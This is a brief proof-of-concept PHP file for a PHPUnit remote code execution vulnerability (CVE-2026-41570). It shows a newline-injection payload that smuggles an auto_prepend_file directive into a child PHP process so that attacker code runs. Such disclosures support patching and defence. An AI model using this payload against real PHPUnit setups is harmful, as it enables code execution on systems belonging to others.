CVE-2026-41570 PHPUnit远程代码执行漏洞

<?php // PoC for CVE-2026-41570 // This demonstrates how an attacker controlling an INI value can inject a newline // to add a malicious directive (e.g., auto_prepend_file). // Assume the attacker can control the value of an INI setting passed to PHPUnit. // The payload below injects a newline character to break the directive and add a new one. $malicious_payload = "original_value\nauto_prepend_file=/tmp/evil.php"; // In a real vulnerable scenario, this might be passed via environment variables or php.xml. // When PHPUnit spawns the child process with -d custom_option="$malicious_payload", // the child PHP process interprets it as: // 1. custom_option = "original_value" // 2. auto_prepend_file = "/tmp/evil.php" // The file /tmp/evil.php would contain the attacker's PHP code (e.g., shell_exec). echo "Payload: " . $malicious_payload . "\n"; echo "Resulting INI directives in child process:\n"; echo "custom_option=original_value\nauto_prepend_file=/tmp/evil.php\n"; ?>